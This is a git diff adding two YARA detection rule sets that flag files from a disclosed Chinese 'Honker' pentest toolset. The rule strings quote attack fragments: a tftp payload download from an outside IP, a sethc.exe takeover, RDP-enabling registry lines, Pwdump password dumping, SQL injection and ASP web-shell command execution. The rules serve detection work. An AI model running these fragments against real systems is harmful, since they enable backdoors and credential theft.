diff --git a/yara-Neo23x0/cn_pentestset_scripts.yar b/yara-Neo23x0/cn_pentestset_scripts.yar
new file mode 100644
index 0000000..4c0086e
--- /dev/null
+++ b/yara-Neo23x0/cn_pentestset_scripts.yar
@@ -0,0 +1,377 @@
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-23
+    Identifier: CN-PentestSet
+*/
+
+rule CN_Honker_mafix_root {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file root"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "826778ef9c22177d41698b467586604e001fed19"
+        id = "ae08b2e9-4d81-5f15-88d2-e2ace20626bf"
+    strings:
+        $s0 = "echo \"# vbox (voice box) getty\" >> /tmp/.init1" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog" fullword ascii
+        $s2 = "if [ -f /sbin/xlogin ]; then" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 96KB and all of them
+}
+
+rule CN_Honker_passwd_dict_3389 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2897e909e48a9f56ce762244c3a3e9319e12362f"
+        id = "9418f0e5-7bf0-5df3-8857-dea90fae5a54"
+    strings:
+        $s0 = "654321" fullword ascii /* reversed goodware string '123456' */
+        $s1 = "admin123" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "admin123456" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "administrator" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 2 times */
+        $s4 = "passwd" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 42 times */
+        $s5 = "password" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 244 times */
+        $s7 = "12345678" fullword ascii /* Goodware String - occured 29 times */
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_Perl_serv_U {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Perl-serv-U.pl"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "f333c597ff746ebd5a641fbc248497d61e3ec17b"
+        id = "d793227d-dd4d-5c92-bfdc-9662c3ed8933"
+    strings:
+        $s1 = "$dir = 'C:\\\\WINNT\\\\System32\\\\';" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "$sock = IO::Socket::INET->new(\"127.0.0.1:$adminport\") || die \"fail\";" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 8KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_f4ck {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file f4ck.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "e216f4ba3a07de5cdbb12acc038cd8156618759e"
+        id = "abf2f277-79b4-5ca2-b12e-93a662e5d607"
+    strings:
+        $s0 = "PassWord:F4ckTeam!@#" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "UserName:F4ck" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "F4ck Team" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.vbs"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "f92b74f41a2138cc05c6b6993bcc86c706017e49"
+        id = "6d385820-befe-5e2b-8c48-ad90564d5f42"
+    strings:
+        $s1 = "success = obj.run(\"cmd /c takeown /f %SystemRoot%\\system32\\sethc.exe&echo y| " ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 10KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389_2 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5ff92f39ade12f8ba6cb75dfdc9bb907e49f0ebd"
+        id = "f449f632-3102-5e62-b790-5546698dd663"
+    strings:
+        $s1 = "@del c:\\termsrvhack.dll" fullword ascii
+        $s2 = "@del c:\\3389.txt" fullword ascii
+    condition:
+        filesize < 3KB and all of them
+}
+
+rule CN_Honker_Injection_Transit_jmCook {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file jmCook.asp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
+        id = "468abb0e-a163-5fc5-b6a1-896fc04b8570"
+    strings:
+        $s1 = ".Open \"POST\",PostUrl,False" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 9KB and all of them
+}
+
+rule CN_Honker_Pwdump7_Pwdump7 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Pwdump7.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "67d0e215c96370dcdc681bb2638703c2eeea188a"
+        id = "baf6ced6-4298-5453-a020-a384c923584c"
+    strings:
+        $s1 = "Pwdump7.exe >pass.txt" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_portRecall_pr {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file pr"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "583cf6dc2304121d835f2879803a22fea76930f3"
+        id = "1e137ed0-3af6-5b01-a27b-87bf42359887"
+    strings:
+        $s1 = "Usage: Same as lcx.exe in win32 :)" fullword ascii
+        $s2 = "connect to client" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "PR(Packet redirection) for linux " fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 70KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389_3 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "cfedec7bd327897694f83501d76063fe16b13450"
+        id = "ff61a5cb-6089-5632-a65d-09f4ffd99857"
+    strings:
+        $s1 = "echo \"fDenyTSConnections\"=dword:00000000>>3389.reg " fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "echo \"PortNumber\"=dword:00000d3d>>3389.reg " fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>" ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 2KB and all of them
+}
+
+rule CN_Honker_Alien_D {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file D.ASP"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "de9cd4bd72b1384b182d58621f51815a77a5f07d"
+        id = "88529577-0dea-5aa8-b763-79a69397ddd5"
+    strings:
+        $s0 = "Paths_str=\"c:\\windows\\\"&chr(13)&chr(10)&\"c:\\Documents and Settings\\\"&chr" ascii /* PEStudio Blacklist: strings */
+        $s1 = "CONST_FSO=\"Script\"&\"ing.Fil\"&\"eSyst\"&\"emObject\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "Response.Write \"<form id='form1' name='form1' method='post' action=''>\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "set getAtt=FSO.GetFile(filepath)" fullword ascii
+        $s4 = "Response.Write \"<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' chec" ascii
+    condition:
+        filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_ChinaChopper_db {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file db.mdb"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "af79ff2689a6b7a90a5d3c0ebe709e42f2a15597"
+        id = "1314e204-d3f5-5f0a-bb74-dc774fef3d3c"
+    strings:
+        $s1 = "http://www.maicaidao.com/server.phpcaidao" fullword wide /* PEStudio Blacklist: strings */
+        $s2 = "<O>act=login</O>" fullword wide /* PEStudio Blacklist: strings */
+        $s3 = "<H>localhost</H>" fullword wide /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 340KB and 2 of them
+}
+
+rule CN_Honker_syconfig {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file syconfig.dll"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "ff75353df77d610d3bccfbffb2c9dfa258b2fac9"
+        id = "3850007d-20d5-5b10-a549-dc4655877c6e"
+    strings:
+        $s9 = "Hashq.CrackHost+FormUnit" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x0100 and filesize < 18KB and all of them
+}
+
+rule CN_Honker_linux_bin {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file linux_bin"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "26e71e6ebc6a3bdda9467ce929610c94de8a7ca0"
+        id = "3c56a4a8-6392-517c-a16e-63785799acb9"
+    strings:
+        $s1 = "client.sin_port = htons(atoi(argv[3]));" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "printf(\"\\n\\n*********Waiting Client connect*****\\n\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 20KB and all of them
+}
+
+rule CN_Honker_Intersect2_Beta {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Intersect2-Beta.py"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "3ba5f720c4994cd4ad519b457e232365e66f37cc"
+        id = "d20da18d-f8c9-5eb3-8d5d-c8816cff3200"
+    strings:
+        $s1 = "os.system(\"ls -alhR /home > AllUsers.txt\")" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "os.system('getent passwd > passwd.txt')" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "os.system(\"rm -rf credentials/\")" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x2123 and filesize < 50KB and 2 of them
+}
+
+rule CN_Honker_IIS_logcleaner1_0_readme {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file readme.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2ab47d876b49e9a693f602f3545381415e82a556"
+        id = "6f3605ab-cf9d-5f6b-8d89-6269976c5b0b"
+    strings:
+        $s2 = "LogCleaner.exe <ip> [Logpath]" fullword ascii
+        $s3 = "http://l-y.vicp.net" fullword ascii
+    condition:
+        filesize < 7KB and all of them
+}
+
+rule CN_Honker_Alien_command {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file command.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5896b74158ef153d426fba76c2324cd9c261c709"
+        id = "55dd10c9-f7dc-5ee2-a47d-dab8cc7b60e6"
+    strings:
+        $s0 = "for /d %i in (E:\\freehost\\*) do @echo %i" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "/c \"C:\\windows\\temp\\cscript\" C:\\windows\\temp\\iis.vbs" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 8KB and all of them
+}
+
+rule CN_Honker_portRecall_bc {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file bc.pl"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2084990406398afd856b2309c7f579d7d61c3767"
+        id = "ea74f260-87e6-5027-b558-628949cae32a"
+    strings:
+        $s0 = "print \"[*] Connected to remote host \\n\"; " fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "print \"Usage: $0 [Host] [Port] \\n\\n\";  " fullword ascii /* PEStudio Blacklist: strings */
+        $s5 = "print \"[*] Resolving HostName\\n\"; " fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 10KB and all of them
+}
+
+rule CN_Honker_Tuoku_script_MSSQL_ {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file MSSQL_.asp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "7097c21f92306983add3b5b29a517204cd6cd819"
+        id = "35c4f119-6a57-580a-b5ee-c36af0ccc94a"
+    strings:
+        $s1 = "GetLoginCookie = Request.Cookies(Cookie_Login)" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "if ShellPath=\"\" Then ShellPath = \"c:\\\\windows\\\\system32\\\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule CN_Honker_nc_MOVE {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file MOVE.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "4195370c103ca467cddc8f2724a8e477635be424"
+        id = "115d1ec9-6c4f-587e-977c-cd24ada89ab6"
+    strings:
+        $s0 = "Destination: http://202.113.20.235/gj/images/2.asp" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "HOST: 202.113.20.235" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "MOVE /gj/images/A.txt HTTP/1.1" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_mssqlpw_scan {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file mssqlpw scan.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "e49def9d72bfef09a639ef3f7329083a0b8b151c"
+        id = "7dc29d06-e1e7-527f-b9e5-d75f660fd73e"
+    strings:
+        $s0 = "response.Write(\"I Get it ! Password is <font color=red>\" & str & \"</font><BR>" ascii /* PEStudio Blacklist: strings */
+        $s1 = "response.Write \"Done!<br>Process \" & tTime & \" s\"" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 6KB and all of them
+}
diff --git a/yara-Neo23x0/cn_pentestset_tools.yar b/yara-Neo23x0/cn_pentestset_tools.yar
new file mode 100644
index 0000000..e56916c
--- /dev/null
+++ b/yara-Neo23x0/cn_pentestset_tools.yar
@@ -0,0 +1,2488 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-23
+	Identifier: CN-PentestSet
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CN_Honker_MAC_IPMAC {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file IPMAC.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "24d55b6bec5c9fff4cd6f345bacac7abadce1611"
+		id = "5424d3a7-765a-5dfb-9177-d5633f83079f"
+	strings:
+		$s1 = "Http://Www.YrYz.Net" fullword wide
+		$s2 = "IpMac.txt" fullword ascii
+		$s3 = "192.168.0.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 267KB and all of them
+}
+
+rule CN_Honker_GetSyskey {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetSyskey.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "17cec5e75cda434d0a1bc8cdd5aa268b42633fe9"
+		id = "08f5b5b1-3085-5bf1-9789-023be5a039f8"
+	strings:
+		$s2 = "GetSyskey <SYSTEM registry file> [Output system key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "The system key file \"%s\" is created." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and all of them
+}
+
+rule CN_Honker_Churrasco {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Churrasco.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a3c935d82a5ff0546eff51bb2ef21c88198f5b8"
+		id = "58873cd6-0c9e-58a0-923a-aca8a1d42017"
+	strings:
+		$s0 = "HEAD9 /" ascii
+		$s1 = "logic_er" fullword ascii
+		$s6 = "proggam" fullword ascii
+		$s16 = "DtcGetTransactionManagerExA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 12 times */
+		$s17 = "GetUserNameA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 305 times */
+		$s18 = "OLEAUT" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1276KB and all of them
+}
+
+rule CN_Honker_mysql_injectV1_1_Creak {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file mysql_injectV1.1_Creak.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a1f066789f48a76023598c5777752c15f91b76b0"
+		id = "39025a57-557a-53c0-bfdb-81fe83f824af"
+	strings:
+		$s0 = "1http://192.169.200.200:2217/mysql_inject.php?id=1" fullword ascii /* PEStudio Blacklist: strings */
+		$s12 = "OnGetPassword" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5890KB and all of them
+}
+
+rule CN_Honker_ASP_wshell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wshell.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3ae33c835e7ea6d9df74fe99fcf1e2fb9490c978"
+		id = "028136cd-129b-5d58-a4c2-ba730a798c06"
+	strings:
+		$s0 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "UserPass="
+		$s2 = "VerName="
+		$s3 = "StateName="
+	condition:
+		uint16(0) == 0x253c and filesize < 200KB and all of them
+}
+
+rule CN_Honker_exp_iis7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iis7.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
+		id = "edfafc9a-032a-5ccb-9a1f-faeab0dfa31d"
+	strings:
+		$s0 = "\\\\localhost" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "iis.run" fullword ascii
+		$s3 = ">Could not connecto %s" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "WinSta0\\Default" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_SegmentWeapon {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SegmentWeapon.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "494ef20067a7ce2cc95260e4abc16fcfa7177fdf"
+		id = "e1b6f721-4c4d-50f2-9ed6-f38e8e7ea4ab"
+	strings:
+		$s0 = "C:\\WINDOWS\\system32\\msvbvm60.dll\\3" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "http://www.nforange.com/inc/1.asp?" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_Alien_iispwd {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iispwd.vbs"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5d157a1b9644adbe0b28c37d4022d88a9f58cedb"
+		id = "e561c548-c656-5528-a2a8-2798a59ac6bf"
+	strings:
+		$s0 = "set IIs=objservice.GetObject(\"IIsWebServer\",childObjectName)" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "wscript.echo \"from : http://www.xxx.com/\" &vbTab&vbCrLf" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Md5CrackTools {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Md5CrackTools.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "9dfd9c9923ae6f6fe4cbfa9eb69688269285939c"
+		id = "16e04a66-0f6f-5b94-97c3-df62aa9406a9"
+	strings:
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s2 = ",<a href='index.php?c=1&type=md5&hash=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4580KB and all of them
+}
+
+rule CN_Honker_CoolScan_scan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file scan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e1c5fb6b9f4e92c4264c7bea7f5fba9a5335c328"
+		id = "781446d2-3363-56c3-9767-c7ac70047b68"
+	strings:
+		$s0 = "User-agent:\\s{0,32}(huasai|huasai/1.0|\\*)" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "scan web.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3680KB and all of them
+}
+
+rule CN_Honker_mempodipper2_6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file mempodipper2.6.39"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ba2c79911fe48660898039591e1742b3f1a9e923"
+		id = "43a27968-adab-5f27-9b8c-8f0f895f0576"
+	strings:
+		$s0 = "objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and all of them
+}
+
+rule CN_Honker_COOKIE_CooKie {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CooKie.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f7727160257e0e716e9f0cf9cdf9a87caa986cde"
+		id = "5f85bb0f-6df2-512c-ba1a-8a74c1a55563"
+	strings:
+		$s4 = "-1 union select 1,username,password,4,5,6,7,8,9,10 from admin" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "CooKie.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 360KB and all of them
+}
+
+rule CN_Honker_wwwscan_1_wwwscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6bed45629c5e54986f2d27cbfc53464108911026"
+		id = "8b6a94a3-6f9c-59b2-931b-c06701b95d59"
+	strings:
+		$s0 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule CN_Honker_D_injection_V2_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file D_injection_V2.32.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		id = "4c661c35-61ee-5ee7-9b8e-9908fbe0362b"
+	strings:
+		$s0 = "Missing %s property(CommandText does not return a result set{Error creating obje" wide /* PEStudio Blacklist: strings */
+		$s1 = "/tftp -i 219.134.46.245 get 9493.exe c:\\9394.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule CN_Honker_net_priv_esc2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file net-priv-esc2.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4851e0088ad38ac5b3b1c75302a73698437f7f17"
+		id = "b4fa3129-57a3-55ee-8ca6-ecbcc135184e"
+	strings:
+		$s1 = "Usage:%s username password" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<www.darkst.com>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 17KB and all of them
+}
+
